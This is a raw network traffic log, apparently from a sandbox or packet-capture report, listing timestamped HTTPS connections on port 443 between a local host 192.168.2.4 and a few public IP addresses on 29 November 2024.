Nov 29, 2024 23:10:58.962820053 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:58.962836027 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:58.962904930 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:58.962912083 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:58.962956905 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:58.984518051 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:58.984534025 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:58.984607935 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:58.984615088 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:58.984659910 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.003346920 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.003364086 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.003489971 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.003495932 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.003535986 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.110440969 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.110455990 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.110536098 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.110546112 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.110586882 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.130336046 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.130350113 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.130407095 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.130414009 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.130454063 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.147623062 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.147638083 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.147718906 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.147726059 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.147762060 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.159104109 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.159117937 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.159296036 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.159301996 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.159347057 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.168960094 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.168975115 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.169044018 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.169051886 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.169092894 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.170552969 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.170602083 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.170667887 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.171299934 CET	49777	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.171310902 CET	443	49777	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.201570988 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.201577902 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.201602936 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.201668978 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.201745987 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.201961994 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.201970100 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.201972961 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.202064991 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.202102900 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.203161001 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.203169107 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.203227997 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.203639984 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.203649998 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.204813004 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.204837084 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.204906940 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.205019951 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.205046892 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.205512047 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.205542088 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.205734015 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.206001997 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:10:59.206013918 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:10:59.322349072 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.322369099 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.322387934 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.322433949 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.322451115 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.322469950 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.322488070 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.359332085 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.359368086 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.359411001 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.359416008 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.359458923 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.359523058 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.359535933 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:59.359549999 CET	49778	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:59.359555006 CET	443	49778	20.109.210.53	192.168.2.4
Nov 29, 2024 23:11:00.923600912 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:00.924658060 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:00.924756050 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:00.925129890 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:00.925148010 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:00.943037987 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:00.943365097 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:00.943386078 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:00.943742990 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:00.943753958 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.000787020 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.001111984 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.001127958 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.001487970 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.001497030 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.003191948 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.003515959 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.003552914 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.003897905 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.003910065 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.358750105 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.358795881 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.358942032 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.359188080 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.359188080 CET	49781	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.359229088 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.359253883 CET	443	49781	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.362538099 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.362574100 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.362642050 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.362767935 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.362782955 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.384800911 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.384820938 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.384874105 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.384885073 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.385018110 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.385059118 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.385063887 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.385078907 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.385205030 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.385235071 CET	443	49782	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.385277033 CET	49782	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.387032986 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.387063026 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.387129068 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.387231112 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.387243032 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.399844885 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.400161982 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.400175095 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.400571108 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.400574923 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.449340105 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.449378014 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.449467897 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.449554920 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.449556112 CET	49783	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.449589968 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.449614048 CET	443	49783	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450481892 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450509071 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450567961 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.450578928 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450615883 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.450733900 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.450733900 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.450737953 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450845003 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450870037 CET	443	49780	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.450928926 CET	49780	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.452265978 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.452279091 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.453471899 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.453490973 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.453516006 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.453538895 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.453629971 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.453643084 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.453694105 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.453706980 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.860614061 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.860630035 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.860671043 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.860682011 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.861274958 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.861325979 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.861486912 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.861495018 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.861510038 CET	49784	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.861515045 CET	443	49784	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.864342928 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.864382982 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:01.864449978 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.864567995 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:01.864588976 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.169589043 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.170140028 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.170152903 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.170614958 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.170620918 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.216881037 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.217206955 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.217242956 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.217577934 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.217583895 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.262718916 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.263011932 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.263021946 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.263336897 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.263341904 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.348282099 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.348800898 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.348812103 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.349199057 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.349205017 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.532903910 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:03.532923937 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:03.532996893 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:03.533206940 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:03.533216000 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:03.586708069 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.587066889 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.587090015 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.587441921 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.587449074 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.613611937 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.613656044 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.613733053 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.613970995 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.613977909 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.613987923 CET	49786	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.613991976 CET	443	49786	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.616477966 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.616503000 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.616573095 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.616709948 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.616724014 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.670933008 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.670978069 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.671045065 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.671241045 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.671261072 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.671268940 CET	49785	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.671273947 CET	443	49785	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.673659086 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.673675060 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.673749924 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.673882961 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.673893929 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.707257986 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.707299948 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.707422972 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.707449913 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.707454920 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.707468033 CET	49787	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.707470894 CET	443	49787	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.709122896 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.709144115 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.709199905 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.709305048 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.709317923 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.801924944 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.801976919 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.802026987 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.802124977 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.802133083 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.802145004 CET	49788	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.802149057 CET	443	49788	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.803777933 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.803788900 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:03.803868055 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.803953886 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:03.803963900 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:04.021416903 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:04.021475077 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:04.021552086 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:04.021737099 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:04.021756887 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:04.021770000 CET	49789	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:04.021775007 CET	443	49789	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:04.024262905 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:04.024316072 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:04.024379969 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:04.024508953 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:04.024523973 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.275511026 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:05.275752068 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:05.275767088 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:05.276613951 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:05.276678085 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:05.277561903 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:05.277611971 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:05.330174923 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:05.330182076 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:05.345884085 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.346301079 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.346316099 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.346714020 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.346719980 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.377063990 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:05.525240898 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.525634050 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.525660038 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.526087046 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.526092052 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.527456045 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.527748108 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.527759075 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.528120995 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.528125048 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.553251028 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.553672075 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.553693056 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.554052114 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.554058075 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.799384117 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.799428940 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.799475908 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.799654961 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.799674034 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.799685001 CET	49791	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.799690008 CET	443	49791	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.802237988 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.802258968 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.802344084 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.802510977 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.802520037 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.902420044 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.902750969 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.902775049 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.903264046 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.903268099 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.967106104 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.967154026 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.967199087 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.967367887 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.967367887 CET	49794	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.967377901 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.967386007 CET	443	49794	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.969620943 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.969649076 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.969744921 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.969907999 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.969919920 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.981126070 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.981175900 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.981221914 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.981509924 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.981515884 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.981523991 CET	49792	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.981530905 CET	443	49792	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:05.983352900 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.983370066 CET	443	49798	13.107.246.63	192.168.2.4
